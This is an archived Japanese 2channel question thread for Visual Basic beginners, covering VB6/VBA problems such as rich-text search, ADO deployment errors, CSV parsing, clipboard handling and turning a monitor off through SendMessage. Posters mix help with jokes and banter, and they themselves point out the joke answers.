VB初心者質問スレ Part4

VB初心者質問スレPart3
http://pc.2ch.net/test/read.cgi/tech/1000523122/

VB

マンセー

「フックする」とかって意味わかんないけど
VBﾏﾝｾｰ

vbaで自己相関、相互相関の作り方おしえて。
ただし、規格化しないで、同じのをとると１になるのを。
今こまっています

解決しました。

VB6SP5でディストリビューションウィザードで作ったプロジェクトを
他のマシンにインストールして実行すると
実行時に「DLL 卍??? が読み込めません」と出ます。
どうも「Set WrkODBC = CreateWorkspace("", "admin", "", dbUseODBC)」の
ところでひっかかてるみたいだからDAO関係だと思いますがDAO3.6.dllも
セットアップされているし・・・どなたか教えてください。

解決してません６番はにせものです
お願いします

相互相関って
Sub A
B
End Sub

Sub B
A
End Sub

見たいなやつのこと？

解決しました。

>>5
読むほうがこまってます。
日本語歴が短いのはわかりますが、日本人に通じる日本語でお願いします。

前スレ>>957さんへ
レスありがとうございます。
ご指摘のとおり直してみたのですが、やはり上手くいきません。
すみません、ネタじゃなくて結構真剣に困ってます…
リッチテキスト内の文字列の検索・置換を行うにはどう直せばで良いでしょうか？
アドバイスお願いいたします。

'置換ボタンの処理
Private Sub cmdChange_Click()

If rtbFind.Text = "" Then
'何もせずに終了
Else
rtbText.Span rtbFind.Text
rtbText.SelRTF = rtbChange.TextRTF
rtbText.Span ""
End If

End Sub

'検索ボタンの処理
Private Sub cmdFind_Click()

If rtbFind.Text = "" Then
'何もせずに終了
Else
rtbText.Find rtbFind.Text
rtbText.UpTo rtbFind.Text
End If

End Sub

Findメソッドとかのヘルプみてみようよ。
使用例なんてのまであるんだよ？
それと検索したらさ、それだけではだめじゃん？
見つけた位置にキャレットもっていくとか
選択するとか、どうしたいかは貴方次第なのよ〜

で、こんなんでどう？（手抜き警報発令中）
Private Sub cmdFind_Click()
　　Dim x&
　　x = rtbText.Find(rtbFind.Text)
　　If x <> -1 Then
　　　　rtbText.SelStart = x
　　　　rtbText.SelLength = Len(rtbFind.Text)
　　　　rtbText.SetFocus 'HideSelection=Falseなら不要かな
　　End If
End Sub

Private Sub cmdChange_Click()
　　Dim x&
　　x = rtbText.Find(rtbFind.Text)
　　If x <> -1 Then
　　　　rtbText.SelStart = x
　　　　rtbText.SelLength = Len(rtbFind.Text)
　　　　rtbText.SelText = rtbChange.Text
　　End If
End Sub

>>7
他のマシンにODBCのドライバが入っていないとか、、、

>>13
ありがとうございます。無事動きました。
２個目以降の単語も検索できるように改造してみます。

ＶＢ始めて間もないですが、難しいです本当…

>>15

２個目の検索の時は、Findの第二引数に注意してね。
開始位置ってあるけど、VB標準の“文字数”で記載するとハマるよ。
ShiftJISでの文字数を入れなきゃいけない。
rtb.Find("hoge", LenB(StrConv(Left$(rtb.Text,rtb.SelStart),vbFromUnicode)+1)
みたいな感じ。(このコード間違ってるかも。確認してないので。)

>>6
>>10

偽者uzeeeeeeeeeeeよ

>>14
ODBCドライバは入ってます。

質問でっす
VBからPingをうつにはどうしたらいいでしょうか？
目的は、送信なし状態が2分続くと接続が切れるモデムなので、
1分おきぐらいにPingをうちたいのです。。。

>>18

system("ping ....");

>>18
モデムの設定変えれば？

>>18
winsockとかでping打つの面倒だから、
こんな感じにしたらどうでしょう。

'-------------------------
dblRet = Shell("CMD.EXE /C ping pc.2ch.net", vbHide)
'-------------------------

ありがとうございまっす♪
単純にMS-DOSから

'-------------------------
dblRet = Shell("command.com /k ping 12.23.13.123", vbHide)
'-------------------------
とやって解決しました。

再度質問が有ります。

ＷＩＮＤＯＷＳ２０００の環境で使用しているときに、
下記動作を行うと、テキストボックスのValidate処理が起きません
どうしてでしょうか

テキストボックスにて入力後（フォーカスは、ﾃｷｽﾄﾎﾞｯｸｽのまま）マウスで、
タブ（ＳＳＴａｂ）をクリックするとテキストボックスのValidate処理が発生しません。

環境
ＮＴ４．０　ＳＰ６、ＶＢ６．０ＳＰ３にてコンパイル
２０００ＳＰ２　ＶＢ６．０　ＳＰ５　の環境にて実行

ＮＴ４．０　ＳＰ６、ＶＢ６．０ＳＰ３だと、テキストボックスのValidateイベントが発生します。

>>23

見苦しい全角英数文字をなんとかしろ。

申し訳ないのですが
教えてほしいことがあるのですが
a = 99999999999 Mod 7
とやったときに”オーバーフローしました”というエラーメッセージ
が帰ってきてしまうのですが何か回避方はありませんか？
よろしくお願いします。

>>25
お前が回線切る

a = 99999999999 Mod 7 (藁

「僕は困っています。どうすればいいでしょう？」
と言っているようなもの。条件をきちんと示しなさい。

質問する前に勉強するか、死ぬかしてください。

>>25
a = 99999999999 Mod 7 と打ったときに、
99999999999 の 右に # って出るだろ？
つまり、Double なわけ。Double は Mod 使えないよ。
無理やり Variant に型変換されるよ。
たまにはヘルプ見ようね。

VB入門約5ヶ月の初心者です。
使ってるのはVB6.0です。SP5ってヤツを雑誌付録ＣＤから入れました。
Winのクリップボード内のデータが貼り付けに使われた事を
知るための良い方法はないでしょうか？
SetClipboardViewerってAPIで
クリップボードにデータが入ったコトは通知されるのですが。。。
必死で探しても、｢貼り付け｣された事を知る方法は見当たりません。

目的はリストに用意したテキストを
自アプリではないエディタに連続してペーストする事です。
「Ctrl+V」や「右クリック→貼り付け」の操作のたびに
クリップボードのデータを次のデータに入れ替えてやりたいのです。

良い方法を御存知の方、どうかお助けください。

>>29

ttp://www.geocities.co.jp/SiliconValley/5634/t82B5_0018.html#76

キーボードのカンマが押された事を取得したいんですが、
カンマのキーコード定数は無いみたいなんです。

キーコードって自分で作れますか？

をたすけを・・・。

>>31 デフォルトの名無しさん wrote:
> キーボードのカンマが押された事を取得したいんですが、
> カンマのキーコード定数は無いみたいなんです。

はつみみです。

すいません。解決しました。ASC�Uコードだったのですね・・・。
ごめんなさい。

でも、日下部とからめてしやわせです。
友達に自慢します。

テンキーのカンマは VK_SEPARATOR (&H6C)
キーボードのカンマは VK_OEM_COMMA (&HBC)

>>33 31 wrote:
> すいません。解決しました。ASC�Uコードだったのですね・・・。

文字化けしてます。

＞日下部
私からは文字化けして見えないので、OKです。問題無しです。
ご指摘ありがとう。

>>35
Macでも�Uは、文字化けするのですか？

機種依存文字は使うなｺﾞﾙｧってことで

VBで SouceSafe を使おうと思うのですが、
エンタープライズエディションのVisualStudio6.0だけで用意する
ものはよいのでしょうか？

サーバのOSは指定（NT4.0 Server/2000Server）があるのでしょうか？

>>36
>36 31 wrote:
> 私からは文字化けして見えないので、

そんなことは問題になっていません。

>>37 デフォルトの名無しさん wrote:
> >>35
> Macでも�Uは、文字化けするのですか?

Macなるかは知りません。

おはようございます。

今日もまたﾄﾞｷｭｿな質問をさせてください。

Mo = CInt(Mid(Module1.C_Date, 5, 2)) ←この計算ではエラーになるんです。
えっと、CIntの計算をしているのに　Mid関数での計算をしているからである
って言うのは分かっているのですがどのように修正したらいいか分かりません。
申し訳ありませんが教えてください。

>日下部
私の中では問題だったので、OKです。問題なしです。
ご指摘ありがとう。

>>43 31 wrote:
> 私の中では問題だったので、

そんなことはどうでもいいことです。

>日下部
先生、もうこれぐらいで勘弁してください。
私にも仕事があります。

もし出来たら本当に教えてもらいたいのですが。。。。
くだらない質問かも知れませんが本当に教えてください。

>>45 31 wrote:
> 先生、もうこれぐらいで勘弁してください。

何の話でしょうか?

で、文字化けしてましたよね?

>日下部
先生、そろそろみんなが自作自演であることに気づいちゃいます。
もう、あきらめましょう。オチはつきませんよ。潮時です。
それより、初心者厨房さんの質問に答えてあげてください。
彼はきっと先生の答えを待っていますよ。

>>42
エラーがコンパイルエラーなのか、
実行時エラーなのかがわからない

具体的に
Module1,C_Dateに入ってくる値が判らないと何とも答えようがない

本気で答えてもらいたいのはわかるが、
とりあえず、答えてもらうなりの説明が必要だと思われ

>>42
A=Mid(Module1.C_Date, 5, 2)
B = CInt(A)
どこでｴﾗｰになるか考えよう。

If Module1.Form5_CSV_Load = 0 Then
da = Split(Date, "/")
L_DATE = da(0) & da(1) & da(2)
Module1.Shain_Clear
Label15.Caption = Module1.Shain_Code
Text1.Enabled = False
Module1.C_Date = L_DATE
Module1.Ki = da(0) - 2001 + 30
Ye = da(0)

ってなるそうです。
要するに、Mo = CInt(Mid(Module1.C_Date, 5, 2))の
Module1.C_Date　に入る値はシステムデータの事らしいです。

>>50
恐らく、僕が引っかかっているのは、CIntでは整数型の返り値、
Midでは文字型の返り値って言うところでエラーが出ているのではと
思っています。でも、どのようにしてこの問題を解決したらいいのか
分からないのです。
手を煩わして本当に申し訳ありませんがよろしくお願いいたします。

>>51>>52
とりあえず、デバッグで調べてModule1に何が入ってるかを書け

単純に MID をかける文字の開始位置が悪いと思われ

Midの第一引数は文字列型だが、考えられるのは
Module1.C_Dateが数値型だからとか値が入ってないとか
そういうことだと思う。

原因はおそらくこの2行。
da = Split(Date, "/")
L_DATE = da(0) & da(1) & da(2)

システム日付を文字列に変換するなら、
Format(Date,"yyyymmdd")とか使ったほうが確実だよ。

あと「らしい」と書いてるってことは別の人に聞かれてるのかね？
本人に自分で聞くように言ってやんなさい。

禁則処理のサンプルありませんかー？

MDIフォーム でアクティブ子フォームの切り替え（Ctrl+Tab）を
抑止したいのですができません。
MDIフォームにはKey_Downイベントもないし
サブクラス化してトラップしようとしてもなぜかWM_KEYDOWNが
取れません
どうしたらいいですか？？？

>>48 31 wrote:
> 先生、そろそろみんなが自作自演であることに気づいちゃいます。

はつみみです。

>>56
APIのDrawTextを使えば勝手にやってくれますが
それじゃ駄目ですか？

>>59
DrawTextは禁則処理してくれるんですね。

今やろうとしてるのはPowerBuilderのデータウィンドウ内のカラムで
やりたいので、できればシンプルなアルゴリズムがあれば
まねしたいな、と思いまして。
PowerBuilderのサンプルなんてないと思ったのでVBスレで
聞いてみました。

>日下部
先生、文字化けの話から逸れましたが？
それはもういいんですか？
ふふふ。

>>61 31 wrote:
> 先生、文字化けの話から逸れましたが?

初耳です。

>>52

たぶん、Module1.C_Dateの中身が空なんだろう。
CInt("") を実行したような状態になってるんじゃない？
CInt(Val("")) ならエラーにならないけど、どっちみち
値が入ってないからプログラム総体としてはエラーな気が。

Moの値が0になっても構わないなら、
Mo = CInt(Val(Mid(Module1.C_Date, 5, 2)) )
とすれば当面エラーは出ないけど、逆にバグ混入させる気がするね。

>>55の言うとおり、da = Split(Date, "/")を止めてFormat使った
方がいい。そもそもDateがyyyy/mm/dd形式で返すっていう保証は無いし。

>>60
PowerBuilderは使ったことが無いので判らないですが、
基本的には、行頭の文字をチェックしてその文字が禁則文字なら前の行に移す
（もしくは前の行の行末文字をもってくる）といった処理を繰り返すしかな
いと思います。

>>55　遅レスですみません。
Module1の中身は何も入ってませんでした。。(汗)
とりあえず、今まで教えてもらった事を頑張ってやってみます。
ありがとうございます。

>>64
どうもです。
やってみます。バグが恐いですけど。

なんだ、ここでもNGワード設定の対象にしなきゃ...

>Kusakabe Youichiさん
ﾜﾗﾀ。
ASCII→ASC�U

>>67
俺も　NGワードの設定がしたいよ・・・（´Д｀）
真面目にゾヌの導入検討しようかな・・・。

>>29です。
>>30さんに、初心者と名乗るようなヤツはダメ、手前で調べろボケ
というようなリンクを示されたので、かなりへこんでいます。
でも、どうしても自力では解決できません。ここ２ヶ月ずーっと悩んでます。
誰か少しでもヒントを下さい。

>>69
タダで安らぎが手に入るんだもん、是非導入すべき(藁
つーことで作者さんに感謝(ここは見てないだろうが)。

>>71
というわけで導入してみた。いや、いいなこれ。
まだ全然使いこなせてないけどとりあえずNGワードを設定したら幸せになれたよ(´ー｀)ノ

あと、俺にゾヌ導入のきっかけを与えてくれた先生に感謝するよ。ちょっとだけ（藁

>>70
VBの話でなくていいなら、制限付きで出来ます。

SetClipboardData でデータをクリップボードに置くとき、
データのハンドルに NULL を指定します。
そーすると、他のアプリケーションがクリップボードからデータを
読み出そうとしたとき、WM_RENDERFORMAT メッセージが届きます。
このメッセージが届いたら、クリップボードに SetClipboardData でデータを置きます。

制限付きとは、次のようなことです。
WM_RENDERFORMAT は、他のアプリケーションが
クリップボードからデータを取り出すと発生します。
それは、貼り付けのときとは限りません。
ただクリップボードの中身を確認するためだけかもしれないし、
例えばクリップボードビューアが内容を表示するために
読み出す場合もあります。区別は出来ません。

あまり使えない方法ですが、他の方法は知りません。
・・・こんなので良い？

>>73様
まだ良く理解できてませんが、参考にさせていただきます。
Win32APIで可能なのかな？？？
いえ、ヒントはすでにいただきましたから、後は自分で調べて試して戦います。
とにかく頑張ってみます。ありがとうございました。

フォームをロードしたときにMP3の音楽を
演奏する方法を教えてください

フォームの Load イベントに、
MP3の音楽を演奏するプログラムを書きます。

>>76 ﾜﾗﾀ

すいません、PGモドキのオイラには全然解決出来ない事態に出くわしました。
ご存知の方がいらしたら、どうか教えてください。
VB6(SP5)でACCESS97にDataEnvironmentで接続するソフトをつくり、デイストリビューター
でキャビファイルにして、稼働環境にインストールすることにしました。
キャビファイル作りは問題が無かったのに、インストール中にエラーが発生しました。
ログを見ると

C:\WINDOWS\SYSTEM\msado25.tlb' 中に DllRegisterServer() のｴﾝﾄﾘﾎﾟｲﾝﾄが見つかりません。

とのことです。
無視してインストールを続行し、出来たEXEを動かすと、

実行時エラー3706
ADOCE could not find the specified provider.

MSのHPでエラー情報を見てみましたが該当するものはありませんでした。
ソフトそのものは２年近く稼動しているもので、問題はないはずです。
ディストリビューターにかけたときに問題が発生したと思うのですが、
思い当たる方はいらっしゃいますでしょうか？
何卒よろしくお願いします。

>>78 参照設定見直してみるとか
　　　よくわからんがＳＰ５はＡＤＯ２.５か？

>>79
早速ありがとうございます。
参照を見直しましたらADOは2.5でした。

　おれも経験あるんよ。ｿﾚ。ＡＤＯ２．０やったけど。
　ＡＤＯ２．６以上のあったら参照設定をそれに戻してインストーラ
ー作りなおしてみれ。これで直ったら同じ原因かも。
　間違ってたらｺﾞﾒｿ。

>>81
ありがとうございます。早速やってみます。
このご恩は一生忘れません！

　とりあえず開発するときはＡＤＯ何やったんか？開発時と同じヴァ
ージョンのＡＤＯに参照設定戻してＶＢＰ保存してＥＸＥ作ってイン
ストーラー作れば直ると思うが。

　暇だから詳細書くとさ、ＳＰ４のマシンで開発（ＡＤＯ２．５）で
開発しててＥＸＥ（�@）作って、一度ＳＰ３のマシンにソース持って
って保存して、そのソースをＳＰ４のマシンに戻して�@のＥＸＥでイ
ンストーラー作ったらさぁ、参照設定がＳＰ３だからか知らんけどＡ
ＤＯ２．０になっててさ。でもＥＸＥは２．５でコンパイルしてるや
ん？多分そんな原因かも。

　※ナゼ暇かというと午前０時にクライアントが日付またぐ処理やる
か監視するまで帰れないんだよよよい (ToT

これも違ったらｺﾞﾒｿ

>>25
aをLongゃCurrencyなどの桁数の多い型で宣言するとよい。
「7」はInteger型と解釈されているので、「7&」などと表記してVBにLong型と解釈させるとよい。

>>29
ヘルプで「Clipboard オブジェクト」を調べるとよい。

どなたかVBで標準DLL作る方法知ってる方います？

>>85

標準EXEでつくって拡張子を.dllに変える。

>>85

VBでつくろうとするのが間違い。
おとなしくVC++でつくれ。

>>85
８６はウソ。
VBで標準DLLは作れない。
ActiveXDLLで我慢してください。

まずはCのパーザを書いて以下略

>>86
ありがとうございます。

>>90

おいおい、ネタsageしたやつに礼を言うもんじゃないぞ。

>>91
ほんとはC++で作ったんですけどねえ。やっぱり無理かあ。ちぇ。

>>83
もう一度参照設定を確認してみました。
MS DataBinding Collection VB6.0
MS DataEnvironment Instance 1.0
MS DataFormatting Object Library 6.0
ここら辺が全部(SP4)になってました。
SP5は開発後に（今年になって)ダウンロードしてます。
開発時の環境は今確認できませんが、ご指摘が「図星」だったかもしれません。
どうもありがとうございました。

>>93
　直るといいね。ｶﾞﾝﾊﾞﾚ（・∀・！
　んじゃ。

>>29
正直、その実装にどのような意味があるのかわからない。
俺だったら、必要なデータをテキストファイルに出力して、
それをエディタで読み込むが・・・。

ペーストとペーストの間に何か手入力したりするの？
やりたい事を実現する方法は、他にあったりしない？
それが仕様なら仕方無いけどね(^^;

すみません、
a(0)
a(1)
a(2)
・
・
・
みたいな感じで配列の要素をa(0)から最後の要素まで１行ずつ
ファイルに書き出していくにはどうすれば宜しいでしょうか？

Dim a(100) as integer

for(0..100)a(i)=a(i)+1;

File open処理 #2　’テキトー

for i =0 to 99
print a(i)　&　vbCrlf　’vbCrLFがポイント
next

close #1

>>96

Dim a(100) as String '文字列型じゃないと駄目よん

.....

Open "hoge.txt" for output as #1
Print #1, Join(a,vbCrLf)
Close #1

…多分真似しない方が良いと思われ。

CSVファイルのデータを２次元配列に格納することはできないんでしょうか？？

>>99 デフォルトの名無しさん wrote:
> CSVファイルのデータを2次元配列に格納することはできないんでしょうか??

できますよ。

>100
ということにしたいのですね。

>>99
データの形式が分からないけど、
テキストファイルとして1行ずつ読み込んで、
一時格納用配列にSplitで入れて、
それから目的の配列に入れたら？

泥臭い？

CSVを個々の変数に展開する場合
・Input
・Line Input後、自分でバラす
どっちが早いんでしょ？

>>103
ベンチマークソフト組んでみたら？

Inputで出来るならそっちの方が楽なので稼働日は「早く」なるけど、
LineInputじゃなくて全体(あるいはいくつかに分けて)を
一気に読みこんでバラした方が動作は「速い」かな。（作り方にもよるけど）
LineInputよりDB経由の方が速かったりもするよ。

レスありがよやんす。

＞LineInputじゃなくて全体(あるいはいくつかに分けて)を
＞一気に読みこんでバラした方が動作は「速い」かな。（作り方にもよるけど）

あー、そうですね。
ﾁｮﾄ面倒臭いけど。

＞LineInputよりDB経由の方が速かったりもするよ。

これどーゆー意味ですか？
最終的にはバラした後DBに登録するのが目的なんですが・

>106
だいたいのDBはCSVを直に取り込んだりリンクしたりする機能があるから
そっち使った方が早い場合もあるって事だと思う。
細かい入力チェックがやりにくくなるけどな。

コマンドボタンを押すと効果音（.wav)が出るようにするには
どうすればよいのでしょうか。
あちこちのＨＰや本を調べて試してみましたが、どうしても上手くいきません。
ご存知の方がいらっしゃいましたら教えてやってください。

>>108
Private Sub Command1_Click

　　PlaySound "hoge.wav", 0&, SND_ASYNC

End Sub

>>100-102
ありがとうございます。格納することはできたみたいです。
ただ、行数が未知のCSVファイル（Exel）のデータを
二次元配列に格納するには、どのようにすればよいでしょうか？
↓みたいにやっても上手くいかないみたいなんで…

For i = 0 To UBound(Book1.csv)
For j = 0 To 2
Line Input #1, vntBook1(i)(j)
Next
Next

間違えた…
For i = 0 To UBound(Book1.csv)
For j = 0 To 2
Input #1, vntBook1(i, j)
Next
Next

です。

スタックでプッシュとポップの分岐のプログラムってのをやってるんですが良くわかりません。
ちなみにそれは、適当な数字をＡ列に積み上げ、途中で数字をポップしてＣ列に積んでいくというものなんです。
スタックは5回で良いのですが。

>>110-111
Open "Hoge.csv" For Input as #1
Do Until EOF(1)
Input #1, vntBook(i,0), vntBook(i,1)
i = i + 1
Loop
Close #1
UBoundの引数は配列変数ね。

>>110，111
俺の場合は、１行ずつ読み込んでから、","を
分解してそれを一旦dim buff as Stringに保存して、
あとから、一気に書き込むというやり方、（独学だけど）
それに君のそのソース、CSVのカンマ区切り文字が勝手に配列に入ってくるものと誤解してない？
For i = 0 To UBound(Book1.csv)
は、最後の行まで読み込むというのは分かるけど、
For j = 0 To 2
で、列のそれぞれの要素を読み込んでいないだろ。

>>112
PUSHと、POPって要するに、配列の移動でしょ？（あんましらん）
DIM A(10) as integer
DIM B(10) as integer
Static ai,bi as integer 'もしくはPublicでSUBの外に置く

PUSH 処理で
ai=ai+1
A(ai)=K

POP 処理で　Bに積み上げ、Aは一つ省くので

bi=bi+1
B(bi)=A(ai)
ai=ai-1

タブン、君の場合、A,B，Cのスタックを積み上げている位置を
DIMとかで宣言して、位置を記憶してないかと思う。
Static及び、SUBの外側で、Public宣言するとよろしい。

>110
最初に改行コードの数(=行数)を数えてから読み込むとか。
BinaryでOpenしてから数えればン万行でも瞬時に数えられるよ。

すみません。書き方が悪かった様なので。
「データの格納と取り出しの分岐のプログラム」てのをやってまして、その前に
「inputbox関数を用いてデータをA列の１行目から５つ格納する。」
For num = 1 To 5
myval = InputBox("データを入力してください。")
Cells(num, 1) = myval
Next num
と言うのと、
「A列の１番下の行（５行目）のデータから１つずつ取り出してC列の１行目から順に移動する」
For num = 1 To 5
Cells(num, 3) = Cells(6 - num, 1)
Cells(6 - num, 1) = ""
Next num
と言うのをやったので、その延長のプログラミングと思われるのです。
まず、yourval = InputBox("データ格納の場合は1、データ取り出しの場合は2を入力してください。")
を出して、1か2を打ち、1の場合はmyvalでＰＵＳＨする数字を打つんです。
んで、ＰＵＳＨはＡ列、ＰＯＰした物ははＣ列に置くと言うのを5回やるのですが・・・。
難しいっす。

>>116
ちょっと見たかんじでは、配列の使い方おかしくない？
宣言は
　Dim Cells(3,5)
こうしたら？君の場合おそらく
Dim Cells(5,3)
としてる。
　Dim　Cells（行、列）
と考えたら分かりやすいかと思うが、
For num = 1 To 5
　Cells(num, 3) = Cells(6 - num, 1)
　Cells(6 - num, 1) = ""
Next num
だと、
num=1
Cells(num, 3) = Cells(6 - num, 1)　、１行目の３列目に、５行目の１列目を代入
num=2
Cells(num, 3) = Cells(6 - num, 1)　、１行目の３列目に、４行目の１列目を代入
num=3
Cells(num, 3) = Cells(6 - num, 1)　、１行目の３列目に、３行目の１列目を代入
num=4
Cells(num, 3) = Cells(6 - num, 1)　、１行目の３列目に、２行目の１列目を代入

となっている、配列がおかしい。

ちょい訂正

num=1
Cells(num, 3) = Cells(6 - num, 1)　、１行目の３列目に、５行目の１列目を代入
num=2
Cells(num, 3) = Cells(6 - num, 1)　、２行目の３列目に、４行目の１列目を代入
num=3
Cells(num, 3) = Cells(6 - num, 1)　、３行目の３列目に、３行目の１列目を代入
num=4
Cells(num, 3) = Cells(6 - num, 1)　、４行目の３列目に、２行目の１列目を代入

すまん、配列はこれでもいいか。？

受け取った数字を判定して、PUSHかPOPするとしたら。
yourval = InputBox("データ格納の場合は1、データ取り出しの場合は2を入力してください。")
受け取った文字を
if yourval="1" then
処理
elseif yourval="2" then
処理
end if

とすればいいだけじゃないの？

初心者です。お願いします。
ｊｐｇの画像をｂｍｐに変換させたいのですが、
どうすればいいのでしょうか？
やさしく解説していただければと思います。
検索したのですが、よくわからなくて・・・

>>120
LoadPictureとSavePictureではいかんの？使い方はMSDN参照。

仕事ばっかりで疲れたー。
３徹中です。目閉じたら寝ちゃいます。

クリスマスイヴあたりは
ロマンチックな神戸行って
ルミナリエとか行きたいなぁ

>>122
誤爆？

>>123
寂しいプログラマの夢じゃねーの？
疲れてるんだろ。寝かせておいてやろうぜ。

ｲｲ夢見ろよ……。

121さん
ありがとうございます。調べてみます。

API関数を利用してﾓﾆﾀの電源を切る方法を調べておりますが、
見つからずに困っております。

御存知でしたら教えて頂けないでしょうか。

>>126
SetMonitorPowerState()かな？
詳しくはMSDN参照。

SetMonitorPowerState()というのはAPI関数の事なのでしょうか？
済みません、素人なので意味が分かってません。
また、MSDNで参照してみましたが、SetMonitorは｢使用中のモニタタ
イプを設定する｣となっておりました。
見ているところが根本的に違っているのでしょうか？

>>128
モニタの電源を切るのはOS側がACPIを管理してやってるっぽいので
ソフト側からは無理なのではないかな､と。うろ覚えですが。

あと、127はネタです。sageてるし。
そんなAPIあったら使ってみたい。

>>128
モニタの電源コードにスイッチつけて、
シリアルでもパラレルでもいいからスイッチを操作する。

>>130
いっそ仕様を拡張してモニタの電源 "も" 切るようにしたらどうだろう。

どこぞからのコピペ
＞画面の設定でモニタの能力を超える解像度設定を行えば、真っ黒になりますが

少し外れるがこんなのもあるな

ttp://www.vbvbvb.com/jp/gtips/0651/gSystemParametersInfoSpiSetPoweroffTimeout.html

これも少し外しているか

ttp://www.vbvbvb.com/jp/gtips/0651/gSystemParametersInfoSpiSetPoweroffActive.html

少し近くなったかな

ttp://www.vbvbvb.com/jp/gtips/0301/gSetSystemPowerState.html

Putting Your Monitor in Power Saver Mode

To turn off the monitor:

SendMessage(AnyForm.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, 2&)

Standby monitor:

SendMessage(AnyForm.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, 1&)

To turn on the monitor:

SendMessage(AnyForm.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, -1&)

Where

Const WM_SYSCOMMAND = &H112
Const SC_MONITORPOWER= &HF170

ADOにてレコードセットを作成し1件ずつ表示しています。
取ってくるデータが以下のようにあったとします。

AA
BB
CC
DD

カレントがDDの時にMoveNextすると、EOFがTrueになりますが
CCからMoveNextして、DDを表示した時点でEOFをTrueにしたいのですが
方法が分かりません。そもそも無理なのでしょうか？

やっと見つけたっぽい　ttp://member.nifty.ne.jp/my2project/vb/souko.txt

================================================================================
モニタの電源を切る（モニタ省電力に対応した環境の場合のみ）
================================================================================

---------以下フォームモジュールへ記述
Option Explicit

Private Sub Form_Load()

Timer1.Interval = 3000
Timer1.Enabled = True

End Sub

Private Sub Timer1_Timer()

Timer1.Enabled = False
Call Y_PowerOffMonitor(Me.hWnd)

End Sub


---------以下標準モジュールへ記述

Option Explicit

'ウインドウにメッセージを送る
Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Public Const WM_SYSCOMMAND = &H112&
Public Const SC_MONITORPOWER = &HF170&

Public Sub Y_PowerOffMonitor(hWnd As Long)
'************************************************************
'機能 : モニターの電源を切る
'************************************************************

Dim sw As Long

' sw = 1 '省電力モード
sw = 2 '電源を切る

Call SendMessage(hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal sw)

End Sub

>>137
その処理の必要性について詳細をキボンヌ。
どういうことを実現したいの？

>>137
処理前に SELECT COUNT(*) でレコード件数取得後、その件数分だけループすれば？
あえて提供されている方法を使わない意図は全く不明だが。

>>137
ムリがどうかはともかく、EOFの使い方として間違っていると思います。

カレントレコードが最後のレコードかどうか調べるなら、
AbsolutePosition = RecordCount かを判定すればいいとかと。
ただし RecordCount はカーソルタイプによっては使用できないので要注意です
が。

>>139

AA
BB
CC
DD


CCからMoveNextし、DDを表示した時点で「次へ」ボタンの「Enabled = False」にしたいんです。
現状だとCCからMoveNextしてカレントがDDに移った時点では、「Enabled = True」なので
「次へ」ボタンが押せてしまいます。
カレントがDDの時に、「次へ」ボタンを押してやっとEOFになり
「Enabled = False」になるのですが、1タイミング遅いんです。
EOFで判定するのが間違いなのでしょうか。

>>147
了解。
データを取得してからもう一度MoveNextして、EOFで無ければそのまま。
EOFならボタンをEnable　Falseする。
そのあとMovePreviousする。これで希望通りにはなる。

でも、非効率的な処理だしレコード開きっぱなしはよくないかも知れないので、
一度レコードの中身をすべてType型変数に格納してそれを表示するようにして、
最終データかどうかをメンバー変数に持たせるなり、レコード数を変数に保持しておいて
表示時にカウンタなどで判別するほうがいかも。

>>143さんの考え方で出来ました！
しかし、いきなりDDレコードが呼び出された時等に不具合がありましたので
>>141さんの「AbsolutePosition」で判定して「Enabled = False」に出来ました。

逆のMovePrevious場合も同じ考え方で出来ました。
ありがとうございました。

P.S. 143さんの「Type型変数に格納し〜〜」の部分なのですが
漏れには理解不能のため非効率な処理でいきました。

>>144
>141さんの「AbsolutePosition」で判定して「Enabled = False」に出来ました。

お役に立てて幸いです。

> P.S. 143さんの「Type型変数に格納し〜〜」の部分なのですが
> 漏れには理解不能のため非効率な処理でいきました。

ADO の recordset で処理するのではなく、ユーザー定義型の配列か何かに
すべて読み込んで、自前で処理しろということではないかと。

>>145
そのことです。
補足ありがとうございました。

>>113-114
お答えいただきありがとうございます。
上の方にＣＳＶファイルの中身を二次元配列に入れる方法はおかげでわかったのですが、
今度はCSVファイルのデータをコレクションのプロパティに格納する方法について
アドバイス頂けないでしょうか。何度もすみません（汗

日にち　　終了　　開始
４　　　　８　　　２
７　　　　15　　　６
10　　　　13　　　11
・
・
・
↑こんな感じの行数未知・列数３のCSVファイル(Scedule.csv)のデータを…
Public Date As Integer '番号の値が入る
Public Start As Integer '開始の値が入る
Public Length As Integer '長さ（終了−開始＋１の値が入る）
↑のように作成したSceduleクラスの各プロパティに一行ずつ格納したいのです。
（１行目の「日にち」「終了」「開始」以外）

続きます

Dim Scedules As New Collection '日程コレクション
Dim NewScedule As Scedule '新規作成した日程
Dim i As Integer '繰り返し処理用カウンタ変数
i = 1

Open "C:\WINDOWS\ﾃﾞｽｸﾄｯﾌﾟ\Scedule.csv" For Input As #1
Do Until EOF(1)
'新規日程オブジェクト作成
Set NewScedule = New Scedule

'値をセット
Input #1, NewScedule.Date,　　’この辺りの記述がわかりません。。

'コレクションへ新規日程を追加
Scedules.Add NewScedule

Loop
Close #1

↑このようにとりあえずコードを書いてみたのですが…

Scedules(0).Dateに４、
Scedules(0).Startに２、
Scedules(0).Lengthに7
Scedules(1).Dateに７、
Scedules(1).Startに６、
Scedules(1).Lengthに10…というようにCSVファイルの最後の行のデータまで
格納するにはどうすれば良いでしょうか。
長いうえに分かりにくくて済みませんが、どうか助言お願い致します。

すいません。軽い質問です。
文字「”」を参照するときはどう記述すればいいんでしたっけ？

if XXX = """" Then
でOK？

>>149
そのとーり。

ありがと

148です。訂正させて頂きます
＞Public Date As Integer '番号の値が入る
＞Public Start As Integer '開始の値が入る
＞Public Length As Integer '長さ（終了−開始＋１の値が入る）
と書きましたが
Public Date As Integer '日にち（番号じゃなかったですね）の値が入る
Public End As Integer '終了の値が入る
Public Start As Integer '開始の値が入る
のように単にCSVファイルのデータをそのまま１行ずつ格納していこうと思います。
（あと、i=1ではなく0からでした。済みません）
今まで試行錯誤を繰り返したのですがどうしても方法が分かりません。
どなたか知恵を貸して頂けないでしょうか。お願い致します

ＶＢぬた言うバカｓｙげっｂふぃをたっいぇるバカはすべと！
お前らにはＲｕｂｙｈａｍｐｙｔｔａｉｍａｓｕｆｇｉｔｕ！

BitbltでFormを丸ごとコピーしたのですがMediaPlayerの部分のみ真っ黒になってしまいます。
